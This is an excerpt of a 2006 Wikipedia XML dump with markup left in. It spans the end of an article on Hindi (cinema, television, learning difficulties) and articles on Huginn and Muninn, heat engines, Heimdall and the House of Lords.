No mention of Hindi may be deemed complete without mentioning the Hindi films. The mighty Hindi film industry [[Bollywood]] is located at [[Mumbai]] (Bombay), in the Marathi-speaking state [[Maharashtra]] in India. The dialogues and the songs use the dialects of Khariboli of Hindi-Urdu, [[Awadhi]], [[Rajasthani]], [[Bhojpuri]], [[Punjabi]] and quite often [[Bambaiya Hindi]] (along with many English words). These Hindi movies are full of songs and dances—songs which are almost always upon the lips of any Indian (and often many Pakistanis, Afghans, Bangladeshis, Iranians, etc.), whether a native Hindi speaker or not. Most of the songs are in Urdu ''shaayari'' style. Some of the hit films include [[Mahal]] (1949), [[Shree 420]] (1955), [[Mother India]] (1957), [[Mughal-e-Azam]] (1960), [[Guide]] (1965), [[Pakeezah]] (1972), [[Bobby]] (1973), [[Zanjeer]] (1973), Yaadon ki Baraat (1973), [[Deewaar]] (1975), [[Sholay]] (1975), [[Mr. India]] (1987), [[Qayamat Se Qayamat Tak]] (1988), [[Maine Pyar Kiya]] (1989), Jo Jeeta Wohi Sikander (1991), [[Hum Aapke Hain Koun]] (1994), [[Dilwale Dulhaniya Le Jayenge]] (1995), [[Dil To Pagal Hai]] (1997), [[Kuch Kuch Hota Hai]] (1998), [[Taal]] (1999), [[Kaho Naa... Pyaar Hai]] (2000), [[Lagaan]] (2001), [[Dil Chahta Hai]] (2001), [[Kabhi Khushi Kabhi Gham]] (2001), [[Devdas (2002 film)|Devdas]] (2002), [[Saathiya]] (2002), [[Munnabhai MBBS]] (2003), [[Kal Ho Naa Ho]] (2003), [[Dhoom]] (2004), [[Veer-Zaara]] (2004), [[Swades]] (2004), [[Salaam Namaste]] (2005), etc.

===History of Hindi Cinema===

The first Hindi film made in India -- ''Raja Harishchandra'' was released in year 1913. It was a silent film that depicted the story of king Harishchandra, who sacrificed his family and kingdom for the sake of truth. It was made by Dada Saheb Falke, regarded as the ''father of hindi cinema''. The film had an all-male cast.

Initially hindi films were made on mythological topics and invariably had gods or goddesses as their protagonists.

''Alam Ara'' ushered the era of talking films or talkies in India in year 1931. The film had seven songs in it. Soon songs became an integral part of hindi cinema with some movies films having as many as 71 songs in them.

===Hindi television serials===
In addition to Bollywood cinema, the Hindi television serials are also worth a mention. They include soap operas, detective serials, horror shows, dramas, cartoons, comedies, host shows for Hindi songs, Hindu mythology, Persio-Arabic mythology and documentaries. In addition to the govenment's official TV channel ''Doordarshan'',  several private channels have come up in the 1990's, e.g., Zee TV, Sony Entertainment Television, Sahara TV, Start Plus, as well as Hindi versions of Cartoon Network and Discovery Channel. One of the most popular soap operas is ''Kyonki Saas Bhi Kabhi Bahu Thi'' (lit., Because the mother-in-law too was once a daughter-in-law).

==Common difficulties faced in learning Hindi==
* the ''[[phonetics|phonetic]] mechanism of some sounds peculiar to Hindi (eg. rda, dha etc)'' The distinction between aspirated and unaspirated consonants will be difficult for English speakers. In addition, the distinction between dental and alveoloar (or retroflex) consonants will also pose problems. English speakers will find that they need to carefully distinguish between four different d-sounds and four different t-sounds. 
* ''pronunciation of vowels'': In English, unstressed vowels tend to have a &quot;[[schwa]]&quot; quality. The pronunciation of such vowels in English is changed to an &quot;uh&quot; sound; this is called reducing a vowel sound. The second syllable of &quot;unify&quot; is pronounced /{{IPA|ə}}/, not &quot;ee.&quot; The same for the unstressed second syllabe of &quot;person&quot; which is also pronounced /{{IPA|ə}}/ rather than &quot;oh.&quot; In Hindi, English-speakers must constantly be careful not to reduce these vowels. 
**In this respect, probably the most important mistake would be for English speakers to reduce final &quot;ah&quot; sounds to &quot;uh.&quot; This can be especially important because an English pronunciation will lead to misunderstandings about grammar and gender. In Hindi, &quot;vo bolta hai&quot; is &quot;he talks&quot; whereas &quot;vo bolti hai&quot; is &quot;she talks.&quot; A typical English pronunciation in the first sentence would be &quot;vo boltuh hai,&quot; which will be understood as &quot;she talks&quot; by most Hindi-native speakers.
* The 'a' ending of many Sanskrit and Sanskrit borrowed gender-masculine words, due to [[Romanization]], is highly confused by non-native speakers, because the short 'a' is dropped in Hindi. There are exceptions, of course, if the devanagari script itself dictates the additional diacritical mark for the vowel &quot;long ā&quot; at the end of certain masculine words, like [[Brahma (god)|Brahmā]] (ब्रह्मा).
* ''the Verbal [[concordance]]''; Hindi exhibits [[split ergativity]]; see [[Ergative-absolutive language]] for an example.
* ''[[Postpositions]] (''ne'')''
* ''Relative-correlative constructions''. In English interrogative and relative pronouns are the same word. In &quot;Who are you?&quot; the word &quot;who&quot; is an interrogative, or question, pronoun. In &quot;My friend who lives in Chicago can speak Hindi,&quot; the word &quot;who&quot; is not an interrogative, or question, pronoun. It is a relative, or linking, pronoun. In Hindi, there are different words for each. The interrogative pronoun tends to start with the &quot;k&quot; sound:&quot; kab = when?, kahaaN = where?,  kitna = how much? The relative pronouns are usually very similar but start with &quot;j&quot; sounds: jab = when, jahaaN = where, jitna = how much.
* ''Honorifics''. For many English speakers, the fact that Hindi uses a three-part system of honorifics in the second person pronoun (&quot;you&quot;) is deeply mystifying. It shouldn't be. The more formal pronouns are used in situations in which it's proper to express a degree of social respect. The less formal pronouns depart from this and indicate, on the one hand, intimacy, or on the other, an absence of social respect. The most formal is &quot;aap&quot; and is the safest for foreigners to use in all situations. It is used in situations that range from deeply respectful to the merely businesslike. When first meeting adults, whether at the bank, hotel or a restaurant, we should use &quot;aap.&quot; The more intimate &quot;tum&quot; would be acceptable in talking with children or with adults with whom one is on more intimate terms. The safest thing with adults is wait and see what pronoun they use with you. They will almost certainly start off with &quot;aap,&quot; but might, over time, start to use &quot;tum&quot; if your relationship becomes more like that of close friends. If your Hindi is too weak to determine whether they are using &quot;aap&quot; or &quot;tum,&quot; then by all means, you should use &quot;aap.&quot; Many grammars say that foreigners will rarely have the chance to use &quot;tum&quot; with Indian colleagues, but that is true only if one behaves like a &quot;memsahib&quot; or &quot;sahib.&quot; The most intimate pronoun is &quot;tu&quot;, which is only used in situations where there is a total absence of human formality: it is used in addressing servants, very close friends, younger siblings and deities. The use of &quot;tu&quot; with another adult may express the intimacy of lovers (but even here &quot;tum&quot; is safer) or extraordinary anger. What's the connection? All of these situations involve the lack of social respect.  
* ''Direct and [[Oblique case]]s'' in nouns and adjectives
* ''[[Optative mood|Optative]] and Conditional moods'' in verbs

== See also ==
*The [[Wiktionary:Category:Hindi language|list of Hindi words]] and [[Wiktionary:Category:Hindi derivations|list of words of Hindi origin]] at [[Wiktionary]], the free dictionary and Wikipedia's sibling project
* [[Hindi literature]]
* [[Origin of some common Hindi words]]
* [[Complex Text Layout languages]]
* [[Languages on the Internet|Where is Hindi on the Internet?]]
* [[Languages of India]]
* [[List of national languages of India]]
* [[List of Indian languages by total speakers]]
* [[History of Hindi]]: a detailed chronology

==References==
* International Phonetic Association (1999) ''Handbook of the International Phonetic Association'' ISBN 0-521-63751-1
*Snell, Rupert ''Teach yourself Hindi: A complete guide for beginners.'' Lincolnwood, IL : NTC Publishing Group, 1992. ISBN 0844238635
*Taj, Afroz (2002) ''[http://www.ncsu.edu/project/hindi_lessons/ A door into Hindi]''. Retrieved [[November 8]], [[2005]].

== External links ==
{{InterWiki|code=hi}}
{{Wikibooks}}
* [http://labnol.blogspot.com/2005/06/free-software-tools-and-fonts-cd.html Request free Hindi Fonts and Devanagari Tools CD from Indian Government] 
*[http://www.it-c.dk/people/pfw/hindi/ A short introduction to Hindi grammar]
*[http://hi.wiktionary.org Hindi Wiktionary]
*[http://www.ethnologue.org/show_language.asp?code=HND Ethnologue on Hindi]
*[http://www.lorem-ipsum.info/_hindi  Generator for Hindi typographical filler text]
*[http://www.cs.colostate.edu/~malaiya/hindilinks.html Hindi Language Resources]
*[http://sanskrit.gde.to/hindi Hindi documents and dictionary]
*[http://ltrc.iiit.net/showfile.php?filename=downloads/ International Institute of Information Technologies IIIT], online and downloadable dictionaries cross referenced in English for Hindi, Marathi, Punjabi, Bengali, Kannada, Telugu languages.  Includes Classical Hindi Literature, writings of Meera, Suradas, Tulasidas, Premchand, Rahim et cetera.
*[http://www.aczone.com/itrans/online/ Online Itrans] to generate Hindi/Devanagari output.
*[http://www.goidirectory.nic.in Government of India website]
*[http://www.unicode.org/charts/PDF/U0900.pdf Official Unicode Chart for Hindi (PDF)]
*[http://www.bhashaindia.com Website of Microsoft to Provide Solutions for Hindi Language on net]
*[http://www.bhashaindia.com/Developers/MSTech/indicsupport/index.aspx Windows Indic Script Support]
*[http://www.bhashaindia.com/Developers/IndianLang/IndicScript/oslevel.htm?lang=en How to enable Indic Language Support at OS level]
*[http://www.bhashaindia.com/Developers/IndianLang/TypingDnagari/dnpages.aspx#pl9 Microsoft hindi IME keyboard हिन्दी कीबोर्ड]
*[http://www.iit.edu/~laksvij/language/hindi.html Romanized to Unicode Hindi transliterator]
* [http://www.wordanywhere.com/ Wordanywhere.com] Hindi/Telugu/English translator
*[http://www.websters-online-dictionary.org/definition/Hindi-english/  Hindi English Dictionary] from [http://www.websters-online-dictionary.org Webster's Online Dictionary] - the Rosetta Edition
*[http://mog.software.free.fr/Hindi/  Virtual Hindi Keyboard] Freeware

{{Indian selected article}}

[[Category:Hindi]]
[[Category:Languages of India]]

[[ast:Hindi]]
[[bg:Хинди]]
[[ca:Hindi]]
[[cy:Hindi]]
[[da:Hindi]]
[[de:Hindi]]
[[dv:ހިންދީ]]
[[es:Hindi]]
[[eo:Hindia lingvo]]
[[eu:Hindi]]
[[fr:Hindî]]
[[gd:Hindi]]
[[gu:હિન્દી ભાષા]]
[[ko:힌디어]]
[[hi:हिन्दी]]
[[id:Bahasa Hindi]]
[[is:Hindí]]
[[he:הינדי]]
[[ka:ჰინდი]]
[[lt:Hindi]]
[[li:Hindi]]
[[hu:Hindi nyelv]]
[[mr:हिंदी]]
[[nl:Hindi]]
[[ja:ヒンディー語]]
[[no:Hindi]]
[[nn:Hindi]]
[[pl:Język hindi]]
[[pt:Língua hindi]]
[[ru:Хинди]]
[[sa:हिन्दी]]
[[sq:Hindi]]
[[simple:Hindi]]
[[sl:Hindijščina]]
[[sr:Хинди]]
[[fi:Hindi]]
[[sv:Hindi]]
[[tl:Wikang Hindī]]
[[ta:ஹிந்தி]]
[[th:ภาษาฮินดี]]
[[zh:印地语]]</text>
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      <minor />
      <comment>robot  Adding: lb</comment>
      <text xml:space="preserve">[[Image:Odin hrafnar.jpg|thumb|240px|Huginn and Muninn sit on [[Odin]]'s shoulders in this illustration from an 18th century [[Iceland]]ic manuscript.]]

'''Huginn and Muninn''', sometimes Anglicized '''Hugin''' and '''Munin''', are a pair of [[raven]]s associated with the [[Norse god]] [[Odin]]. Hugin and Munin travel the world bearing news and information to Odin. Hugin is &quot;[[thought]]&quot; and Munin is &quot;[[memory]]&quot;. They are sent out at dawn to gather information and return in the evening. They perch on the god's shoulders and whisper the news into his ears. It is from these ravens that the [[kenning]] 'raven-god' for Odin is derived.

The name ''Munin'' has its roots in the [[Old Norse]] word for memory.

From [[Grímnismál]]:

:The whole world wide, every day,
:Fly Hugin and Munin;
:I worry lest Hugin should fall in flight,
:Yet more I fear for Munin.

{{NorseMythology}}

[[Category:Creatures in Norse mythology]]
[[Category:Legendary birds]]

[[ca:Huginn i Munnin]]
[[da:Hugin og Munin]]
[[de:Hugin und Munin]]
[[fr:Hugin et Munin]]
[[hr:Hugin i Munin]]
[[is:Huginn og Muninn]]
[[lb:Hugin a Munin]]
[[nl:Hugin]]
[[nn:Hugin og Munin]]
[[pl:Hugin i Munin]]
[[sv:Hugin och Munin]]</text>
    </revision>
  </page>
  <page>
    <title>Heat engine</title>
    <id>13654</id>
    <revision>
      <id>41731403</id>
      <timestamp>2006-03-01T10:04:15Z</timestamp>
      <contributor>
        <username>Dodo bird</username>
        <id>901231</id>
      </contributor>
      <minor />
      <comment>rv van</comment>
      <text xml:space="preserve">{{Thermodynamic cycles}}In [[engineering]] and [[thermodynamics]], a '''heat engine''' performs the conversion of [[heat]] [[energy]] to [[mechanical work]] by exploiting the [[temperature]] gradient between a hot &quot;[[source]]&quot; and a cold &quot;[[sink]]&quot;. Heat is [[heat transfer|transferred]] to the sink from the  source, and in this process some of the heat is converted into [[energy|work]].

==Everyday examples==
Examples of everyday heat engines include: the [[steam engine]], the [[diesel engine]], and the gasoline (petrol) engine in an [[automobile]].  
All of these familiar heat engines are powered by the expansion of heated gases.  
The general surroundings are the heat sink, providing relatively cool gases which when heated, expand rapidly to drive the mechanical motion of the engine.

==Examples of heat engines==
=== Phase change cycles ===
In these cycles and engines the working fluids are gases and liquids.  The engine converts the working fluid from a gas to a liquid.    
* [[Rankine cycle]] (classical [[steam engine]])
* [[Regenerative cycle]] Are more efficient than [[Rankine cycle]].
* [[Drinking bird]] cycle
* [[Frost heaving]] - Water changing from Ice to water and back again can lift rock up to 60m.
=== Gas only cycles ===
In these cycles and engines the working fluid are always like gas:
* [[Carnot cycle]] ([[Carnot heat engine]])
* [[Brayton cycle]] or [[Joule cycle]] ([[Gas turbine]])
* [[Ericsson Cycle]]
* [[Stirling cycle]] ([[Stirling engine]])
* [[Internal combustion engine]] (ICE):
** [[Otto cycle]] (eg. [[Gasoline/Petrol engine]], high-speed [[diesel engine]])
** [[Diesel cycle]] (eg. low-speed [[diesel engine]])
** [[Atkinson Cycle]]
** [[Lenoir cycle]] (eg [[pulse jet engine]])
** [[Miller cycle]]
=== Electron cycles ===
* Thermoelectric ([[Peltier-Seebeck effect]])
* [[thermionic emission]]
* [[Thermotunnel cooling]]
=== Photon cycles ===
* [[Solar sail]]
=== Cycles used for refrigeration ===
A [[refrigerator]] is a [[heat pump]]: a heat engine in reverse.  Work is used to create a heat differential.
* [[Carnot refrigeration]]
* [[Vuilleumier refrigeration]]
* [[Absorption refrigeration]]

==Efficiency==
The efficiency of a heat engine relates how much useful power is output for a given amount of heat energy input.

From the laws of [[thermodynamics]]:

::&lt;math&gt; dW \ =  \ dQ_c \ - \  (-dQ_h) &lt;/math&gt;
:where
::&lt;math&gt; dW = -PdV &lt;/math&gt; is the work extracted from the engine. (It is negative since work is ''done by'' the engine.)
::&lt;math&gt; dQ_h = T_hdS_h &lt;/math&gt; is the heat energy taken from the high temperature system .(It is negative since heat is extracted from the source, hence &lt;math&gt;(-dQ_h)&lt;/math&gt; is positive.)
::&lt;math&gt; dQ_c = T_cdS_c &lt;/math&gt; is the heat energy delivered to the cold temperature system. (It is positive since heat is added to the sink.)

In other words, a heat engine absorbs heat energy from the high temperature heat source, converting part of it to useful work and delivering the rest to the cold temperature heat sink.

In general, the efficiency of a given heat transfer process (whether it be a refrigerator, a heat pump or an engine) is defined informally by the ratio of &quot;what you get&quot; to &quot;what you put in.&quot;

In the case of an engine, one desires to extract work and puts in a heat transfer.

::&lt;math&gt;\eta = \frac{-dW}{-dQ_h} = \frac{-dQ_h - dQ_c}{-dQ_h} = 1 - \frac{dQ_c}{-dQ_h}&lt;/math&gt; 

The ''theoretical'' maximum efficiency of any heat engine depends only on the temperatures it operates between.  This efficiency is usually derived using an ideal imaginary heat engine such as the [[Carnot heat engine]], although other engines using different cycles can also attain maximum efficiency. Mathematically, this is due to the fact that in [[Thermodynamic reversibility | reversible]] processes, the change in [[entropy]] of the cold reservoir is the negative of that of the hot reservoir (i.e., &lt;math&gt;dS_c = -dS_h&lt;/math&gt;), keeping the overall change of entropy zero. Thus:

::&lt;math&gt;\eta_{max} = 1 - \frac{T_cdS_c}{-T_hdS_h} \equiv 1 - \frac{T_c}{T_h}&lt;/math&gt;

where &lt;math&gt;T_h&lt;/math&gt; is the [[absolute temperature]] of the hot source and &lt;math&gt;T_c&lt;/math&gt; that of the cold sink, usually measured in [[kelvin|kelvins]]. Note that &lt;math&gt;dS_c&lt;/math&gt; is positive while &lt;math&gt;dS_h&lt;/math&gt; is negative; in any reversible work-extracting process, entropy is overall not increased, but rather is moved from a hot (high-entropy) system to a cold (low-entropy one), decreasing the entropy of the heat source and increasing that of the heat sink.

The reasoning behind this being the '''maximal''' efficiency goes as follows.  It is first assumed that if a more efficient heat engine than a Carnot engine is possible, then it could be driven in reverse as a heat pump.  Mathematical analysis can be used to show that this assumed combination would result in a net decrease in [[entropy]]. Since, by the [[second law of thermodynamics]], this is forbidden, the Carnot efficiency is a theoretical upper bound on the efficiency of ''any'' process.

Empirically, no engine has ever been shown to run at a greater efficiency than a Carnot cycle heat engine.

==Other criteria of heat engine performance==
One problem with the ideal Carnot efficiency as a criterion of heat engine performance is the fact that by its nature, any maximally-efficient Carnot cycle must operate at an infinitesimal temperature gradient. This is due to the fact that ''any'' transfer of heat between two bodies at differing temperatures is irreversible, and therefore the Carnot efficiency expression only applies in the infinitesimal limit. The major problem with that is that the object of most heat engines is to output some sort of power, and infinitesimal power is usually not what is being sought.

A much more accurate measure of heat engine efficiency is given by the '''endoreversible process''', which is identical to the Carnot cycle except in that the two processes of heat transfer are ''not'' treated as reversible. As derived in Callen (1985), the efficiency for such a process is given by:

::&lt;math&gt;\eta = 1 - \sqrt{\frac{T_c}{T_h}}&lt;/math&gt;

The accuracy of this model can be seen in the following table (Callen):

{| class=&quot;wikitable&quot;
|+'''Efficiencies of Power Plants'''
|-
! ''Power Plant'' !! &lt;math&gt;T_c&lt;/math&gt; (°C) !! &lt;math&gt;T_h&lt;/math&gt; (°C) !! &lt;math&gt;\eta&lt;/math&gt; (Carnot) !! &lt;math&gt;\eta&lt;/math&gt; (Endoreversible) !! &lt;math&gt;\eta&lt;/math&gt; (Observed)
|-
! [[West Thurrock]] ([[United Kingdom|UK]]) [[Fossil fuel power plant|coal-fired power plant]]
| -25 || 565 || 0.64 || 0.40 || 0.36
|-
! [[CANDU reactor|CANDU]] ([[Canada]]) [[nuclear power plant]]
| -25 || 300 || 0.48 || 0.28 || 0.30
|-
! [[Larderello]] ([[Italy]]) [[Geothermal power|geothermal power plant]]
| 80 || 250 || 0.32 || 0.175 || 0.16
|}

As shown, the endoreversible efficiency much more closely models the observed data.

==Heat engine processes==
{| class=&quot;wikitable&quot;
|+&lt;!-- no title, because it starts a section.--&gt;
|-
! Cycle/Process !! Compression !! Heat Addition  !! Expansion !! Heat Rejection
|-
! Carnot
| adiabatic || isothermal || adiabatic || isothermal
|-
! Otto (Petrol)
|adiabatic ||isometric || adiabatic || isometric
|-
! Diesel
|adiabatic || isobaric || adiabatic || isometric
|-
! Brayton (Jet)
|adiabatic || isobaric || adiabatic || isobaric
|-
! Stirling
|isothermal || isometric || isothermal || isometric
|-
! Ericsson
|isothermal || isobaric || isothermal || isobaric
|}

Each process is one of the following:
* [[isothermal]] (at constant temperature, maintained with heat added or removed from a heat source or sink)
* [[isobaric]] (at constant pressure)
* [[isochoric process|isometric/isochoric]] (at constant volume)
* [[adiabatic]] (no heat is added or removed from the working fluid)

==See also==
*[[Heat pump]]

==References==
* {{cite book | last = Kroemer | first =  Herbert | coauthors =  Kittle, Charles | title = Thermal Physics | edition = 2nd ed. | publisher = W. H. Freeman Company | year = 1980 | id = ISBN 0716710889 }}
* {{cite book | last = Callen | first = Herbert B. | title = Thermodynamics and an Introduction to Thermostatistics | edition = 2nd ed. | publisher = John Wiley &amp; Sons, Inc. | year = 1985 | id = ISBN 0471862568 }}

==External links==
*[http://www.taftan.com/thermodynamics/HENGINE.HTM Heat Engine]
*[http://web.archive.org/web/20030123072140/www.uq.edu.au/~e4nsrdja/teaching/e4213/Related/Cycles/Refrig.htm Webarchive backup: Refrigeration Cycle] Citat: &quot;...The refrigeration cycle is basically the Rankine cycle run in reverse...&quot;
*[http://www.redrok.com/engine.htm Red Rock Energy Solar Heliostats: Heat Engine Projects] Citat: &quot;...Choosing a Heat Engine...&quot;
*[http://www.stanford.edu/class/ee293a/FEP4_Text_X.pdf Overview of heat engine types]

[[Category:Heat]]
[[Category:Energy conversion]]
[[Category:HVAC]]

[[da:Varmekraftmaskine]]
[[de:Wärmekraftmaschine]]
[[he:מנוע חום]]
[[hu:Hőerőgép]]
[[it:Macchina termica]]
[[ja:熱機関]]
[[ko:열기관]]
[[nl:Warmtemachine]]
[[ru:Тепловой двигатель]]
[[sl:Toplotni stroj]]
[[th:เครื่องจักรความร้อน]]
[[uk:Тепловий двигун]]
[[zh:热机]]</text>
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  </page>
  <page>
    <title>Heimdall</title>
    <id>13655</id>
    <revision>
      <id>41543009</id>
      <timestamp>2006-02-28T01:24:34Z</timestamp>
      <contributor>
        <username>Bloodofox</username>
        <id>308199</id>
      </contributor>
      <minor />
      <comment>/* Modern popular culture */  That may have given the wrong impression..</comment>
      <text xml:space="preserve">[[Image:Heimdall_öfverlämnar_till_Freya_smycket_Bryfing_(1845)_av_Nils_Blommér.jpg|thumbnail|300px|Heimdall returns [[Brisingamen]] to [[Freya]]]]
'''Heimdall''' ([[Old Norse]] ''Heimdallr'', the prefix ''Heim-'' means ''world'', the affix ''-dallr'' is of uncertain origin, perhaps it means ''pole'', ''bright'', or ''valley'') is one of the [[Æsir]] in [[Norse mythology]]. 

==Characteristics==
Heimdall is the [[guardian]] of the gods who will blow the [[Gjallarhorn]] if danger approaches [[Asgard]]. His senses are so acute that he can hear the [[grass]] grow and he can see to the [[end of the world]]; he also requires no [[sleep]] at all. He is moreover the [[guardian]] of the [[Bifrost Bridge]].

He was the son of nine different mothers (possibly the nine daughters of [[Ægir]], called billow maidens) and was called the ''White God''.  His [[hall]] was called ''Himinbjörg'' (''Sky Mountain'') and his [[horse]] was ''[[Gultopp|Gulltoppr]]'' (Gold-top). [[Snorri Sturluson]]'s [[Prose Edda]] relates that a [[kenning]] for ''sword'' is ''head of Heimdall'' because Heimdall was struck by a man's head and that this is treated in the poem ''Heimdalargaldr'', a poem unfortunately no longer extant. Similarly, a kenning for ''head'' is ''sword of Heimdall''. The meaning may lie in Heimdall also being called &quot;ram&quot;, the weapon of a ram being its head, including the horns. [[Georges Dumézil]] (1959) suggested that this might also be why Heimdall is called White-god. 

Heimdall's nickname ''Hallinskíði'' (bent stick) also appears as a kenning for &quot;ram&quot;, perhaps referring to the bent horns on a ram's head. Heimdall's nickname ''Gullintanni'' (golden-toothed) would refer to the yellow coloring found in the teeth of old rams. Dumézil cites [[Wales|Welsh]] folklore sources which tell how ocean waves come in sets of nine with the ninth one being the ram:
&lt;blockquote&gt;We understand that whatever his mythical value and functions were, ''the scene of his birth made him, in the sea's white frothing, the ram produced by the ninth wave.'' If this is the case, then it is correct to say that he has nine mothers, since one alone does not suffice, nor two, nor three.&lt;/blockquote&gt;

Old Welsh practice, modern [[French language|French]] practice and modern [[Basque language|Basque]] practice is to refer to white-capped waves as sheep.

==Surviving representations==
Snorri also calls Heimdall a son of [[Odin]], perhaps a foster son.

[[Image:Icelandic_valholl.jpg|left|thumb|200px|In this illustration from a [[17th century]] [[Iceland]]ic manuscript [[Heimdallr]] is shown guarding the gate of Valhalla.]]

Heimdall was destined to be the last of the gods to perish at [[Ragnarök]] when he and [[Loki]] would slay one another.

The first stanza of eddic poem ''Völuspá'' proclaims:
&lt;blockquote&gt;I ask for a hearing &amp;nbsp; &amp;nbsp; &amp;nbsp; of all the holy races&lt;br&gt;
Greater and lesser, &amp;nbsp; &amp;nbsp; &amp;nbsp; kinsman of Heimdall.&lt;/blockquote&gt;
The eddic poem ''Rígsthula'' explains in what way these races are kinsmen of Heimdall, explaing who the god Ríg, identified with Heimdall in a short prose introduction, apparently fathered the three classes of humankind as understood by the poet, the youngest of which fathered in turn Kon the Young (Old Norse ''Kon ungr'') understood as the first immortal king (Old Norse ''konungr''). See [[Ríg]] for details.

Hilda R. Ellis Davidson in ''Gods and Myths of Northern Europe'' sees a link between Heimdall and the [[Vanir]] as do some others, partly based on stanza 15 of the eddic poem ''[[Þrymskviða]]'':
&lt;blockquote&gt;Then Heimdall spoke, &amp;nbsp; &amp;nbsp; &amp;nbsp; whitest of the Æsir,&lt;br&gt;
Like the other Vanir he knew &amp;nbsp; &amp;nbsp; &amp;nbsp; the future well.&lt;/blockquote&gt;
However ''other'' can be also translated ''even'', which would mean instead that Heimdall had foresight &quot;even&quot; as do the Vanir.

The lost ''Heimdallargaldr'' may have contained the following adventure which was also referenced in [[Úlfr Uggason]]'s skaldic poem ''[[Húsdrápa]]'' of which only fragments are perserved:

&lt;blockquote&gt;Once, [[Freya]] woke up and found that someone had stolen [[Brisingamen]]. Heimdall helped her search for it and eventually found the thief, who turned out to be [[Loki]] and they fought in the form of seals at Vágasker 'Wave-skerry' and Singasteinn, wherever they may be. Heimdall won and returned Brisingamen to Freya.&lt;/blockquote&gt;

In ''[[Sörla þáttr]]'', the story is changed an instead Loki hands the jewellry to [[Odin]], who won't give it back to Freyja until she has promised to start the battle of [[Hedin and Högni]].

In the [[Old English language|Old English]] epic, [[Beowulf]], ''Brosingamen'', is brought back to ''the shining citadel'' (perhaps [[Valhalla]] or Asgard) by ''Hama'' (Heimdall). But Hama flees from the &quot;cunning hostility&quot; of [[Ermanaric|Eormenric]] indicating extreme euhemerism, for Eormenric almost certainly would have had no part in the tale known to the Norsemen. 

[[Image:Manuscript_Heimdallr.jpg|right|thumb|250px|Heimdallr blows into [[Gjallarhorn]] in this illustration from an [[18th century]] [[Iceland]]ic manuscript.]]

==Homologues in related Indo-European religions==
Georges Dumézil considers Heimdall an old Indo-European god, a type of god he calls ''first god'' which is different than being the highest god. The [[Thessalian]] god of [[Roman mythology|Romans]] [[Janus (mythology)|Janus]] would be the Roman reflex to this concept. But there are other first gods. Heimdall is also a ''frame god'', one who appears at the beginning and remains until the end. 

Dumézil suggested that the Hindu counterpart was the god [[Dyaus]], one of the eight [[Vasu]]s, who reincarnated as the ''frame hero'' [[Bhishma]] in the epic ''[[Mahabharata]]'', he and his seven brothers being born to a mortal king by the River [[Ganges]] who herself had taken on mortal form. But the seven other brothers are returned to their immortal forms by being drowned by their mother immediately after birth. Only Dyaus was compelled to live a full life on earth in the form of Bhishma. Bhishma is destined to never hold power himself or have any direct descendants but acts as an ageless uncle on behalf of the line of lords that tortuously descend from his half-brothers, including finally the five [[Pandava]] brothers who represent four classes of society: royalty, noble warrior, lower class club-bearing warrior, and herdsmen. Bhishma is the last to die in the great battle of [[Kurukshetra]].

However Branston (1980) considers the character Heimdall to be cognate with the [[Vedic religion|Vedic]] ''[[Agni]]'' god of fire, who is in many Vedic texts is born from the waters or hides within the waters and who is born from two, seven, nine, and ten mothers in various sources, the ten mothers being sometimes explained as the ten fingers which can manipulate a bore-stick to produce fire. This accords with Viktor Rydberg's theories on Heimdall.

==Modern popular culture==
{{Main|Heimdall in popular culture}}
References and representations of Heimdall infrequently appear in modern popular culture, usually as a horn sounding guard of some kind.

==See also==
*[[Mothers of Heimdallr]]

==References==
* Dumézil, Georges (1959). &quot;Comparative Remarks on the Scandinavian God Heimdall&quot;, ''Gods of the Ancient Northmen''. Ed. Einar Haugen, trans. Francis Charat (1973). Berkeley: University of California Press. ISBN 0520035070.

==External links==
* [http://userpage.fu-berlin.de/~alvismal/2heimdal.pdf Sayers, William (1993). &quot;Irish Perspectives on Heimdallr&quot;.] (PDF) ''Alvíssmál'' 2. Freie Universität Berlin. ISBN 3861356015.

{{NorseMythology}}

[[Category:Norse gods]]

[[ca:Heimdall]]
[[da:Hejmdal]]
[[de:Heimdall]]
[[el:Χέιμνταλ]]
[[es:Heimdal]]
[[hr:Heimdall]]
[[is:Heimdallur]]
[[it:Heimdallr]]
[[he:היימדייל]]
[[lt:Heimdalas]]
[[nl:Heimdall]]
[[ja:ヘイムダル]]
[[no:Heimdall]]
[[pl:Hajmdal]]
[[pt:Heimdall]]
[[ru:Хеймдалль]]
[[sv:Heimdall]]</text>
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  <page>
    <title>Humphrey Davy</title>
    <id>13656</id>
    <revision>
      <id>15911252</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
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      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Humphry Davy]]
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  </page>
  <page>
    <title>House of Lords</title>
    <id>13658</id>
    <revision>
      <id>42125473</id>
      <timestamp>2006-03-04T00:05:50Z</timestamp>
      <contributor>
        <username>David Newton</username>
        <id>13420</id>
      </contributor>
      <comment>Correct judicial functions paragraph as the House of Lords is still the highest court until the 2005 Act actually comes into force and note appeals to ECHR</comment>
      <text xml:space="preserve">{{PoliticsUK}}
:''This article is about the British House of Lords. For the historical Irish body, see [[Irish House of Lords]].''

The '''House of Lords''' is the [[upper house]] of the [[Parliament of the United Kingdom]]. Parliament also includes the [[British monarchy|Sovereign]] and the [[lower house]], the [[British House of Commons|House of Commons]]. The House of Lords has 732 members.
The House of Lords is an unelected body, consisting of two [[archbishops]] and 26 [[bishops]] of the established [[Church of England]] (&quot;[[Lords Spiritual]]&quot;) and 706 members of the [[Peerage]] (&quot;[[Lords Temporal]]&quot;). Lords Spiritual serve as long as they continue to occupy their ecclesiastical positions, whereas Lords Temporal serve for life. Members of the House of Lords are known as &quot;Lords of Parliament&quot;.

The House of Lords originated in the [[14th century]] and has been in almost continuous existence since. The name &quot;House of Lords&quot; was not used as a name for the Upper House until [[1544]]. It was abolished in [[1649]] by the revolutionary government that came to power during the [[English Civil War]], but was restored in [[1660]]. The House of Lords (the &quot;[[upper house|Upper House]]&quot;) was once more powerful than the elected House of Commons (the &quot;[[lower house|Lower House]]&quot;). Since the [[19th century]], however, the powers of the House of Lords have been steadily declining; now, the Upper House is far weaker than its elected counterpart. Under the [[Parliament Act]]s (passed in [[1911]] and [[1949]]) all legislation excluding &quot;money bills&quot; (including the Budget) passed by the House of Commons can be delayed for twelve months, but cannot be rejected. This power is called a [[suspensive veto]] in political science. Reforms were enacted under the [[House of Lords Act 1999]], which removed the automatic hereditary right of peers to sit in the Upper House. A small number retain seats because they hold office as [[Great Officer of State|Great Officers of State]], and an additional 92 are elected as [[representative peer|representative peers]]. Additional reforms are contemplated by the current Labour Government, but have not been passed into law.

